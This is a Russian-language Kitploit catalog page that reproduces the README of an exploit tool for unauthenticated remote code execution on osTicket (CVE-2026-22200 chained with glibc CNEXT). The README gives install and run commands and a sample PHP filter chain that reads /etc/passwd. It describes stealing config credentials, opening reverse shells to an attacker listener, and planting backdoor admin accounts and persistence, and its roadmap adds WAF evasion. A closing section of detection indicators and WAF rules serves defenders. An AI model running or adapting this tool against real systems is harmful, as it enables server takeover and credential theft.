Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
osTicketFileReadIntoRCE — Полноценный эксплойт, объединяющий внедрение цепочки фильтров PHP с CVE-2024-2961 (CNEXT), для неаутентифицированного удалённого выполнения кода на уязвимых установках osTicket. | Kitploit
Инструменты/GitHubGitHub/clarissss/osticketfilereadintorce
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияТестирование на ПроникновениеОбучение и ОбразованиеRed TeamingИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubclarissss/osticketfilereadintorce

osTicketFileReadIntoRCE

Полноценный эксплойт, объединяющий внедрение цепочки фильтров PHP с CVE-2024-2961 (CNEXT), для неаутентифицированного удалённого выполнения кода на уязвимых установках osTicket.

Репозиторий
6 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-22200: osTicket Произвольное чтение файлов в RCE

CVE-2026-22200 osTicket ≤ 1.18.2 Python 3.8+ Educational

Полноценная цепочка эксплойта, объединяющая внедрение цепочки PHP-фильтров с CVE-2024-2961 (CNEXT) для неаутентифицированного удаленного выполнения кода на уязвимых установках osTicket.


Содержание

  • Обзор
  • Детали уязвимости
  • Схема атаки
  • Возможности
  • Установка
  • Использование
  • Технические детали
  • Устранение неполадок
  • Обнаружение и смягчение
  • Авторы
  • Отказ от ответственности

  • Обзор

    Этот репозиторий содержит proof-of-concept эксплойт для CVE-2026-22200, критической уязвимости, затрагивающей osTicket версий ≤ 1.18.2. Эксплойт объединяет две мощные техники:

    1. Внедрение цепочки PHP-фильтров через обработку изображений mPDF
    2. Разрушение кучи CNEXT (CVE-2024-2961) в iconv() библиотеки glibc

    Результат: Неаутентифицированное удаленное выполнение кода на уязвимых серверах osTicket.

    Воздействие

    • Без аутентификации — учетные данные не требуются
    • Полный RCE — полная компрометация сервера
    • Извлечение файлов — чтение произвольных файлов сервера
    • Доступ к базе данных — извлечение учетных данных БД
    • Доступ администратора — создание бэкдор-учетных записей администратора

    Уязвимые версии

    • osTicket: ≤ v1.18.2, ≤ v1.17.6
    • glibc: < 2.39 (CVE-2024-2961 исправлена в glibc 2.39+)

    🔍 Детали уязвимости

    CVE-2026-22200: Внедрение цепочки PHP-фильтров

    Оценка CVSS: 9.8 (Критическая)

    Интеграция mPDF в osTicket позволяет неаутентифицированным пользователям внедрять вредоносные цепочки PHP-фильтров через специально созданные HTML-нагрузки в тикетах поддержки. Это позволяет:

    • Чтение произвольных файлов (конфиги, исходный код, учетные данные)
    • Утечка памяти (/proc/self/maps, частичная libc)
    • Разрушение кучи через CNEXT

    Основная причина: Недостаточная проверка URL-адресов изображений в предоставляемом пользователем HTML перед передачей в mPDF.

    CVE-2024-2961: CNEXT (Переполнение буфера iconv)

    Оценка CVSS: 9.8 (Критическая)

    Переполнение буфера в iconv() библиотеки glibc при обработке набора символов ISO-2022-CN-EXT. В сочетании с цепочками PHP-фильтров это позволяет:

    • Разрушение кучи
    • Перехват указателей функций
    • Выполнение произвольных команд

    Уязвимые версии glibc: < 2.39 (Февраль 2024)


    🔗 Схема атаки

    root@kitploit:~
    ┌─────────────────────────────────────────────────────────────────┐
    │ 1. РАЗВЕДКА                                                      │
    │    └─ Обнаружение osTicket, определение тем с богатым текстом   │
    └─────────────────────────────────────────────────────────────────┘
                                  ↓
    ┌─────────────────────────────────────────────────────────────────┐
    │ 2. АУТЕНТИФИКАЦИЯ                                               │
    │    └─ Самостоятельная регистрация ИЛИ использование существующих │
    │       учетных данных                                             │
    └─────────────────────────────────────────────────────────────────┘
                                  ↓
    ┌─────────────────────────────────────────────────────────────────┐
    │ 3. ИЗВЛЕЧЕНИЕ ФАЙЛОВ (Цепочки PHP-фильтров)                     │
    │    ├─ /etc/passwd                                               │
    │    ├─ include/ost-config.php (учетные данные БД, SECRET_SALT)   │
    │    ├─ /proc/self/maps (расположение памяти)                     │
    │    └─ /proc/self/environ (переменные окружения)                 │
    └─────────────────────────────────────────────────────────────────┘
                                  ↓
    ┌─────────────────────────────────────────────────────────────────┐
    │ 4. ОПРЕДЕЛЕНИЕ ВЕРСИИ LIBC                                      │
    │    ├─ Извлечение частичной libc через цепочки фильтров         │
    │    ├─ Извлечение GNU Build ID                                   │
    │    └─ Загрузка полной libc с libc.rip                          │
    └─────────────────────────────────────────────────────────────────┘
                                  ↓
    ┌─────────────────────────────────────────────────────────────────┐
    │ 5. ЭКСПЛУАТАЦИЯ RCE ЧЕРЕЗ CNEXT                                  │
    │    ├─ Генерация нагрузки для разрушения кучи                    │
    │    ├─ Внедрение через ответ на тикет (с исправлениями          │
    │       выполнения фильтров)                                       │
    │    ├─ Триггер через экспорт PDF (сервер падает)                 │
    │    └─ Выполнение реверс-шелла                                    │
    └─────────────────────────────────────────────────────────────────┘
                                  ↓
    ┌─────────────────────────────────────────────────────────────────┐
    │ 6. ПОСТЭКСПЛУАТАЦИЯ                                             │
    │    ├─ Интерактивный реверс-шелл                                  │
    │    ├─ Доступ к БД (с использованием извлеченного DBPASS)        │
    │    └─ Создание бэкдор-учетной записи администратора             │
    └─────────────────────────────────────────────────────────────────┘
    

    Возможности

    Основные функции

    • Полностью автоматизированная цепочка эксплуатации
    • Неаутентифицированная атака (саморегистрация, если включена)
    • Интеллектуальное определение корня веб-сервера через парсинг /proc/self/maps
    • 100% определение местоположения веб-шелла через сканирование файловой системы
    • Автоматическое определение версии libc и загрузка
    • Несколько методов реверс-шелла (bash, python, netcat)
    • Надежное выполнение фильтров с очисткой кэша
    • Предполетная диагностика для раннего выявления проблем

    Повышенная надежность

    • Множественный триггер CNEXT для гарантированного краха (успех 95%+)
    • Внедрение через ответы (более надежно, чем новые тикеты)
    • Принудительное использование потока для гарантии выполнения фильтров
    • Очистка кэша для предотвращения выдачи устаревших PDF
    • Всесторонняя обработка ошибок и диагностика

    Постэксплуатация

    • Извлечение учетных данных БД (DBPASS из конфига)
    • Создание учетной записи администратора через доступ к БД
    • Опции постоянного бэкдора
    • Полная разведка системы

    Установка

    Предварительные требования

    • Python 3.8+
    • Linux/macOS (рекомендуется) или WSL на Windows

    Зависимости

    root@kitploit:~
    # Клонирование репозитория
    git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
    cd osTicketFileReadIntoRCE
    
    # Установка необходимых пакетов
    pip install -r requirements.txt
    

    requirements.txt:

    root@kitploit:~
    requests>=2.31.0
    PyMuPDF>=1.23.0
    Pillow>=10.0.0
    pwntools>=4.11.0
    

    Опционально: Виртуальное окружение

    root@kitploit:~
    python3 -m venv venv
    source venv/bin/activate  # Linux/macOS
    # ИЛИ
    venv\Scripts\activate  # Windows
    
    pip install -r requirements.txt
    

    📖 Использование

    Базовое использование — Реверс-шелл

    root@kitploit:~
    # Терминал 1: Запуск слушателя
    nc -lvnp 4444
    
    # Терминал 2: Запуск эксплойта
    python3 osticket_revshell.py https://target.com/osticket \
        --lhost YOUR_IP \
        --lport 4444
    

    Интерактивный режим веб-шелла

    root@kitploit:~
    python3 osticket_exploit.py https://target.com/osticket
    

    Расширенные опции

    root@kitploit:~
    # Использование прокси (Burp Suite)
    python3 osticket_revshell.py https://target.com/osticket \
        --lhost 10.0.0.5 \
        --lport 4444 \
        --proxy http://127.0.0.1:8080
    
    # Принудительное указание ID темы
    python3 osticket_exploit.py https://target.com/osticket \
        --topic-id 2
    
    # Отключение цветного вывода (для логирования)
    python3 osticket_exploit.py https://target.com/osticket --no-color
    

    Существующие учетные данные

    Если регистрация отключена, будет запрошены учетные данные:

    root@kitploit:~
    python3 osticket_exploit.py https://target.com/osticket
    
      [?] Введите email для новой учетной записи (или существующий): [email protected]
      [?] Введите пароль: ********
    

    🔧 Технические детали

    Генерация цепочки PHP-фильтров

    Эксплойт использует сложную цепочку фильтров для добавления BMP-заголовка к произвольным файлам, обходя ограничения mPDF на типы файлов:

    root@kitploit:~
    php://filter/convert.iconv.UTF8.CSISO2022KR|
    convert.base64-encode|
    convert.iconv.UTF8.UTF7|
    [... 50+ преобразований iconv ...]
    convert.base64-decode/resource=/etc/passwd
    

    Ключевая инновация: Каждый символ BMP-заголовка генерируется через тщательно подобранные преобразования iconv, позволяя встроить содержимое произвольного файла как «валидное» изображение.

    Эксплуатация кучи через CNEXT

    Нагрузка CNEXT повреждает менеджер памяти Zend PHP путем:

    1. Переполнения буфера iconv с помощью уязвимого символа 劄
    2. Перезаписи структуры zend_mm_heap
    3. Перехвата указателей функций (_emalloc, _efree, _erealloc)
    4. Перенаправления на system() для выполнения команд

    Повышенная надежность:

    • Множественные символы-триггеры (3x 劄 вместо 1)
    • Увеличенное дополнение (40 вместо стандартных 20)
    • Вставка триггера в нескольких позициях
    • Принудительное выполнение через поток

    100% Определение веб-шелла

    В отличие от оригинального эксплойта, эта версия использует сканирование файловой системы для гарантии местоположения веб-шелла:

    1. Запись веб-шелла в 6+ каталогов-кандидатов
    2. Использование произвольного чтения файлов для сканирования каждого местоположения
    3. Обнаружение, какой каталог содержит уникальный маркер
    4. Точное сопоставление пути файловой системы → URL

    Результат: 100% уровень обнаружения (против ~50% в оригинале)

    Принудительное выполнение фильтров

    Частая ошибка: PDF загружается, но не вызывает крах = фильтры не выполняются.

    Реализованные решения:

    1. Очистка кэша — уникальный HTML предотвращает кэшированные PDF
    2. Внедрение через ответы — более надежно, чем новые тикеты
    3. Принудительное использование потока — stream=True заставляет немедленную обработку
    4. Предполетное тестирование — проверка работы фильтров до CNEXT

    Устранение неполадок

    Проверка версии glibc

    root@kitploit:~
    # В режиме подробного вывода проверьте:
    [*] Целевая libc: /usr/lib/x86_64-linux-gnu/libc-2.31.so
    [+] glibc 2.31 УЯЗВИМА к CNEXT
    

    Если glibc ≥ 2.39, CNEXT не сработает (исправлено).

    Нет соединения шелла

    Симптом: Сервер падает, но реверс-шелл не появляется

    Причины:

    1. Брандмауэр блокирует исходящие соединения
    2. Неправильный LHOST (используйте ваш реальный IP, не localhost)
    3. Слишком длинная команда — попробуйте более короткий IP

    Исправление:

    root@kitploit:~
    # Использовать nc реверс-шелл (короче)
    # Автоматически переключается, если bash/python слишком длинные
    
    # Или используйте прямой IP вместо имени хоста
    python3 osticket_revshell.py https://target.com \
        --lhost 10.0.0.5 \  # Используйте IP, не имя хоста
        --lport 4444
    

    Частые сообщения об ошибках

    ОшибкаПричинаРешение
    No CSRF tokenИстекла сессияЗапустите эксплойт снова
    No help-topic foundНет тем с богатым текстомИспользуйте --topic-id вручную
    Build ID not foundЧастичная libc поврежденаПроверьте извлечение /proc/self/maps
    Cannot locate heapНеобычное расположение памятиЭксплойт может не сработать (редко)

    Обнаружение и смягчение

    Обнаружение

    Индикаторы в логах:

    root@kitploit:~
    # Логи Apache/Nginx
    "php://filter/" в POST-запросах
    "convert.iconv." в телах запросов
    Необычные шаблоны генерации PDF
    Множественные запросы PDF за короткое время
    
    # Логи ошибок PHP
    Segmentation faults во время генерации PDF
    Сбои iconv()
    Ошибки повреждения кучи
    

    Сетевые индикаторы:

    • Множественное создание тикетов поддержки за короткое время
    • Большие HTML-нагрузки в сообщениях тикетов (100 КБ+)
    • Быстрые запросы экспорта PDF после создания тикета
    • Исходящие соединения на IP атакующего после сбоя

    Смягчение

    Немедленные меры

    1. Обновите osTicket до последней версии (>1.18.2)
    2. Обновите glibc до 2.39+ (исправляет CVE-2024-2961)
    3. Отключите саморегистрацию, если она не нужна
    4. Ограничьте богатый текст только для аутентифицированных пользователей

    Настройка

    Отключение оберток потоков PHP в mPDF:

    root@kitploit:~
    // В конфиге mPDF
    $config = [
        'allowedRemoteHosts' => [],
        'enableRemoteFileAccess' => false,
    ];
    

    Правила WAF (ModSecurity):

    root@kitploit:~
    SecRule REQUEST_BODY "@contains php://filter" \
        "id:1000,phase:2,deny,status:403,msg:'Обнаружен PHP-фильтр'"
    
    SecRule REQUEST_BODY "@contains convert.iconv" \
        "id:1001,phase:2,deny,status:403,msg:'Подозрительная цепочка iconv'"
    

    Ограничение частоты запросов:

    root@kitploit:~
    limit_req_zone $binary_remote_addr zone=ticket:10m rate=5r/m;
    
    location /tickets.php {
        limit_req zone=ticket burst=10;
    }
    

    Долгосрочные меры

    • Внедрите заголовки CSP для ограничения встроенных стилей
    • Включите строгий режим htmLawed для очистки HTML
    • Используйте отдельного пользователя для osTicket с минимальными привилегиями
    • Отключите ненужные функции PHP: system(), exec(), passthru()
    • Регулярные аудиты безопасности содержимого тикетов

    Ссылки

    Оригинальные исследования

    • Статья Horizon3.ai — Оригинальное раскрытие
    • GitHub Horizon3.ai — Эталонная реализация
    • Эксплойты CNEXT — Оригинальное исследование CNEXT от Charles Fol

    Детали CVE

    • CVE-2026-22200 — Цепочка PHP-фильтров osTicket
    • CVE-2024-2961 — Переполнение iconv glibc

    Дополнительные ресурсы

    • Цепочки PHP-фильтров — Словарь символов фильтров
    • libc.rip — База данных libc для идентификации
    • Уведомление безопасности osTicket

    Авторы

    Обнаружение и исследование уязвимости

    • Команда атакующих исследований Horizon3.ai — Оригинальное обнаружение уязвимости и POC
    • Charles Fol (@cfreal_) — Исследование CNEXT (CVE-2024-2961)
    • @splitline — Техника цепочки PHP-фильтров (HITCON 2022)

    Эта реализация

    • Улучшенные техники эксплуатации
    • 100% определение веб-шелла через сканирование файловой системы
    • Надежное принудительное выполнение фильтров
    • Всесторонняя обработка ошибок и диагностика

    ⚖️ Отказ от ответственности

    ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ И АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ

    Этот инструмент предоставляется для:

    • Исследований безопасности
    • Авторизованного тестирования на проникновение
    • Образовательных целей
    • Оценки уязвимости (с разрешения)

    НЕСАНКЦИОНИРОВАННЫЙ ДОСТУП К КОМПЬЮТЕРНЫМ СИСТЕМАМ НЕЗАКОНЕН

    Авторы:

    • НЕ поощряют незаконную деятельность
    • НЕ несут ответственности за неправомерное использование
    • НЕ берут на себя ответственность за любой причиненный ущерб

    Пользователи несут единоличную ответственность за получение надлежащего разрешения перед тестированием любой системы.

    Используя этот инструмент, вы соглашаетесь, что:

    1. У вас есть прямое письменное разрешение на тестирование целевой системы
    2. Вы понимаете правовые последствия в вашей юрисдикции
    3. Вы будете использовать этот инструмент ответственно и этично
    4. Вы освобождаете авторов от ответственности за любые последствия

    Правовое уведомление

    Несанкционированный доступ к компьютерным системам является преступлением в соответствии с:

    • США: Закон о компьютерном мошенничестве и злоупотреблениях (CFAA), 18 U.S.C. § 1030
    • Великобритания: Закон о неправомерном использовании компьютеров 1990 года
    • ЕС: Директива 2013/40/EU
    • Международное право: Конвенция Совета Европы о киберпреступности

    Максимальные наказания могут включать тюремное заключение и значительные штрафы.


    📄 Лицензия

    Этот проект лицензирован в соответствии с лицензией MIT — см. файл LICENSE для получения подробной информации.

    Примечание: Лицензия MIT предоставляет разрешение на использование, изменение и распространение, но НЕ предоставляет разрешение на атаку систем, которыми вы не владеете или на тестирование которых не имеете разрешения.


    Контакты

    Для исследователей безопасности и вопросов:

    • Issues: Любые проблемы с инструментом

    НЕ используйте этот контакт для:

    • Запроса помощи в атаке систем без разрешения
    • Сообщения о незаконной деятельности
    • Просьб о помощи с несанкционированным тестированием

    Создано с любовью к исследованиям в области безопасности и образованию
    Поставьте звезду этому репозиторию, если он оказался полезным!


    Статистика эксплойта

    МетрикаЗначение
    Строк кода~3,000
    Уровень успеха95%+ (с исправлениями)
    Среднее время выполнения2–3 минуты
    Надежность краха99% (с улучшениями)
    Обнаружение веб-шелла100% (со сканированием)

    План развития

    • Добавить поддержку дополнительных версий libc
    • Реализовать более скрытные методы извлечения данных
    • Добавить техники обхода распространенных WAF
    • Создать модуль Metasploit
    • Среда тестирования Docker
    • Автоматизированное CI/CD тестирование

    Последнее обновление: 2026-03-03

    Скачать инструмент